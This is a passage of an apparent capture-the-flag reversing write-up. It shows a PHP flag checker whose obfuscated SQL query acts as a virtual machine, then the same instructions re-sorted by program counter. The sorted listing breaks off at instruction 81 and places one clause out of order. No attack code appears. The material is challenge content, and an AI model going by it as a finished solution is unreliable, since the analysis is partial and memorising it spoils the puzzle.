  header('Ever wondered that Soy could be pronounced: like Soiii? Me neither.');

  for ($i=0; $i<strlen($_POST['flag']) && $i < 50; $i++) {
    $c = $_POST['flag'][$i];
    if (strlen($c) === 1) {
      $indx = strpos($alf, $c);
      if ($indx !== FALSE) {
        $query .= '(' . $i . ',"' . $alf[$indx] . '"),';
      } else {
        die("Invalid char.");
      }
    } else {
      die("Invalid input?");
    }
  }

  $query = substr($query, 0, strlen($query) - 1);
  mysqli_query($conn, 'DROP TABLE IF EXISTS FLAG');
  mysqli_query($conn, 'CREATE TABLE FLAG (`id` int not null primary key, `n` char)');
  mysqli_query($conn, $query);

  $query = "SELECT o FROM ( SELECT 0 v, '' o, 0 pc FROM (SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc WHEN 121 THEN 0 WHEN 70 THEN @pc:=73 WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) WHEN 32 THEN  @sp := @sp + 1 WHEN 25 THEN @sp := @sp - 1 WHEN 28 THEN  @sp := @sp + 1 WHEN 56 THEN  @sp := @sp + 1 WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) WHEN 126 THEN 0 WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) WHEN 103 THEN  @sp := @sp + 1 WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) WHEN 73 THEN 0 WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) WHEN 58 THEN  @sp := @sp + 1 WHEN 92 THEN 0 WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) WHEN 95 THEN IF(@n = 0, 0, @pc:=99) WHEN 74 THEN @i := @i + 1 WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) WHEN 78 THEN @out := @ok WHEN 107 THEN @sp := @sp - 1 WHEN 21 THEN  @sp := @sp + 1 WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 122 THEN @sp := @sp - 1 WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) WHEN 45 THEN 0 WHEN 93 THEN @get_arg_tmp := @sp-2 WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) WHEN 97 THEN @sp := @sp - 1 WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 108 THEN @sp := @sp - 1 WHEN 46 THEN @i := @i - 1 WHEN 115 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 19 THEN @sp := 1 WHEN 24 THEN  @pc:=92 WHEN 33 THEN  @pc:=113 WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) WHEN 3 THEN @notok := 'Wrong.' WHEN 42 THEN @pc:=45 WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) WHEN 98 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) WHEN 91 THEN @pc:=126 WHEN 117 THEN  @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 34 THEN @sp := @sp - 2 WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) WHEN 37 THEN @i := 13 WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) WHEN 111 THEN @sp := @sp - 1 WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) WHEN 80 THEN 0 WHEN 112 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 120 THEN @rv := 0 WHEN 90 THEN @out := @notok WHEN 61 THEN  @pc:=113 WHEN 43 THEN 0 WHEN 30 THEN  @sp := @sp + 1 WHEN 101 THEN  @sp := @sp + 1 WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) WHEN 71 THEN 0 WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) WHEN 62 THEN @sp := @sp - 2 WHEN 2 THEN @ok := 'OK.' WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) WHEN 109 THEN  @n:=ExtractValue(@mem,'/m[$@sp]') WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) WHEN 1 THEN @strn := 'MySQL' WHEN 39 THEN 0 WHEN 96 THEN @rv := 1 WHEN 106 THEN  @pc:=92 WHEN 114 THEN @get_arg_tmp := @sp-3 WHEN 47 THEN IF(@i > 10, @pc:=39, 0) WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) WHEN 94 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 60 THEN  @sp := @sp + 1 WHEN 99 THEN 0 WHEN 123 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 89 THEN 0 WHEN 38 THEN @l := 0 WHEN 113 THEN 0 WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) WHEN 44 THEN @l := 1 WHEN 65 THEN @i := 33 WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) WHEN 110 THEN @rv := @rv * @n WHEN 125 THEN @out := @notok WHEN 127 THEN 0 WHEN 4 THEN @targetsz := 42 WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) WHEN 116 THEN @get_arg_tmp := @sp-2 WHEN 23 THEN  @sp := @sp + 1 WHEN 105 THEN  @sp := @sp + 1 WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) WHEN 72 THEN @l := @l + 1 WHEN 77 THEN 0 WHEN 118 THEN @rv := 1 WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) WHEN 79 THEN @pc:=126 WHEN 124 THEN 0 WHEN 66 THEN @l := 0 WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) WHEN 67 THEN 0 WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END, @pc:=@pc+1 FROM (SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM(SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s) q ORDER BY v DESC LIMIT 1";

  mysqli_query($conn, $query, MYSQLI_USE_RESULT);
  $result = mysqli_query($conn, $query, MYSQLI_USE_RESULT);
  echo mysqli_fetch_array ($result, MYSQLI_ASSOC)['o'];
  die();
}
?>

The complex sql query is actually a kind of virtual machine.

It defined custom variable named, pc, memory and etc.

The instruction is defined as pc value with case then, else syntax.

SELECT o FROM 
    ( SELECT 0 v, '' o, 0 pc FROM 
        (SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc 
        WHEN 121 THEN 0 
        WHEN 70 THEN @pc:=73 
        WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) 
        WHEN 32 THEN  @sp := @sp + 1 
        WHEN 25 THEN @sp := @sp - 1 
        WHEN 28 THEN  @sp := @sp + 1 
        WHEN 56 THEN  @sp := @sp + 1 
        WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) 
        WHEN 126 THEN 0 
        WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) 
        WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) 
        WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) 
        WHEN 103 THEN  @sp := @sp + 1 
        WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) 
        WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) 
        WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) 
        WHEN 73 THEN 0 
        WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) 
        WHEN 58 THEN  @sp := @sp + 1 
        WHEN 92 THEN 0 
        WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) 
        WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) 
        WHEN 95 THEN IF(@n = 0, 0, @pc:=99) 
        WHEN 74 THEN @i := @i + 1 
        WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) 
        WHEN 78 THEN @out := @ok 
        WHEN 107 THEN @sp := @sp - 1 
        WHEN 21 THEN  @sp := @sp + 1 
        WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) 
        WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 122 THEN @sp := @sp - 1 
        WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) 
        WHEN 45 THEN 0 
        WHEN 93 THEN @get_arg_tmp := @sp-2 
        WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) 
        WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) 
        WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) 
        WHEN 97 THEN @sp := @sp - 1 
        WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 108 THEN @sp := @sp - 1 
        WHEN 46 THEN @i := @i - 1 
        WHEN 115 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
        WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) 
        WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
        WHEN 19 THEN @sp := 1 
        WHEN 24 THEN  @pc:=92 
        WHEN 33 THEN  @pc:=113 
        WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) 
        WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) 
        WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) 
        WHEN 3 THEN @notok := 'Wrong.' 
        WHEN 42 THEN @pc:=45 
        WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) 
        WHEN 98 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) 
        WHEN 91 THEN @pc:=126 
        WHEN 117 THEN  @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
        WHEN 34 THEN @sp := @sp - 2 
        WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) 
        WHEN 37 THEN @i := 13 
        WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) 
        WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) 
        WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) 
        WHEN 111 THEN @sp := @sp - 1 
        WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) 
        WHEN 80 THEN 0 
        WHEN 112 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 120 THEN @rv := 0 
        WHEN 90 THEN @out := @notok 
        WHEN 61 THEN  @pc:=113 
        WHEN 43 THEN 0 
        WHEN 30 THEN  @sp := @sp + 1 
        WHEN 101 THEN  @sp := @sp + 1 
        WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) 
        WHEN 71 THEN 0 
        WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) 
        WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) 
        WHEN 62 THEN @sp := @sp - 2 
        WHEN 2 THEN @ok := 'OK.' 
        WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) 
        WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) 
        WHEN 109 THEN  @n:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) 
        WHEN 1 THEN @strn := 'MySQL' 
        WHEN 39 THEN 0 
        WHEN 96 THEN @rv := 1 
        WHEN 106 THEN  @pc:=92 
        WHEN 114 THEN @get_arg_tmp := @sp-3 
        WHEN 47 THEN IF(@i > 10, @pc:=39, 0) 
        WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) 
        WHEN 94 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
        WHEN 60 THEN  @sp := @sp + 1 
        WHEN 99 THEN 0 
        WHEN 123 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 89 THEN 0 
        WHEN 38 THEN @l := 0 
        WHEN 113 THEN 0 
        WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) 
        WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) 
        WHEN 44 THEN @l := 1 
        WHEN 65 THEN @i := 33 
        WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) 
        WHEN 110 THEN @rv := @rv * @n 
        WHEN 125 THEN @out := @notok 
        WHEN 127 THEN 0 
        WHEN 4 THEN @targetsz := 42 
        WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) 
        WHEN 116 THEN @get_arg_tmp := @sp-2 
        WHEN 23 THEN  @sp := @sp + 1 
        WHEN 105 THEN  @sp := @sp + 1 
        WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) 
        WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) 
        WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) 
        WHEN 72 THEN @l := @l + 1 
        WHEN 77 THEN 0 
        WHEN 118 THEN @rv := 1 
        WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
        WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) 
        WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) 
        WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) 
        WHEN 79 THEN @pc:=126 
        WHEN 124 THEN 0 
        WHEN 66 THEN @l := 0 
        WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) 
        WHEN 67 THEN 0 
        WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END, 
        @pc:=@pc+1 
            FROM 
                (SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM
                    (SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s) 
q ORDER BY v DESC LIMIT 1

By sorting the vm instructions with pc value, we can analysis logic at ease.

Sorted version is following.

WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) 
WHEN 1 THEN @strn := 'MySQL' 
WHEN 2 THEN @ok := 'OK.' 
WHEN 3 THEN @notok := 'Wrong.' 
WHEN 4 THEN @targetsz := 42 
WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) 
WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) 
WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) 
WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) 
WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) 
WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) 
WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) 
WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) 
WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) 
WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) 
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) 
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) 
WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) 
WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) 
WHEN 19 THEN @sp := 1 
WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) 
WHEN 21 THEN  @sp := @sp + 1 
WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 23 THEN  @sp := @sp + 1 
WHEN 24 THEN  @pc:=92 
WHEN 25 THEN @sp := @sp - 1 
WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) 
WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
WHEN 28 THEN  @sp := @sp + 1 
WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) 
WHEN 30 THEN  @sp := @sp + 1 
WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 32 THEN  @sp := @sp + 1 
WHEN 33 THEN  @pc:=113 
WHEN 34 THEN @sp := @sp - 2 
WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) 
WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) 
WHEN 37 THEN @i := 13 
WHEN 38 THEN @l := 0 
WHEN 39 THEN 0 
WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) 
WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) 
WHEN 42 THEN @pc:=45 
WHEN 43 THEN 0 
WHEN 44 THEN @l := 1 
WHEN 45 THEN 0 
WHEN 46 THEN @i := @i - 1 
WHEN 47 THEN IF(@i > 10, @pc:=39, 0) 
WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) 
WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) 
WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) 
WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) 
WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) 
WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) 
WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) 
WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
WHEN 56 THEN  @sp := @sp + 1 
WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) 
WHEN 58 THEN  @sp := @sp + 1 
WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 60 THEN  @sp := @sp + 1 
WHEN 61 THEN  @pc:=113 
WHEN 62 THEN @sp := @sp - 2 
WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) 
WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) 
WHEN 65 THEN @i := 33 
WHEN 66 THEN @l := 0 
WHEN 67 THEN 0 
WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) 
WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) 
WHEN 70 THEN @pc:=73 
WHEN 71 THEN 0 
WHEN 72 THEN @l := @l + 1 
WHEN 73 THEN 0 
WHEN 74 THEN @i := @i + 1 
WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END
WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) 
WHEN 77 THEN 0 
WHEN 78 THEN @out := @ok 
WHEN 79 THEN @pc:=126 
WHEN 80 THEN 0 
WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) 
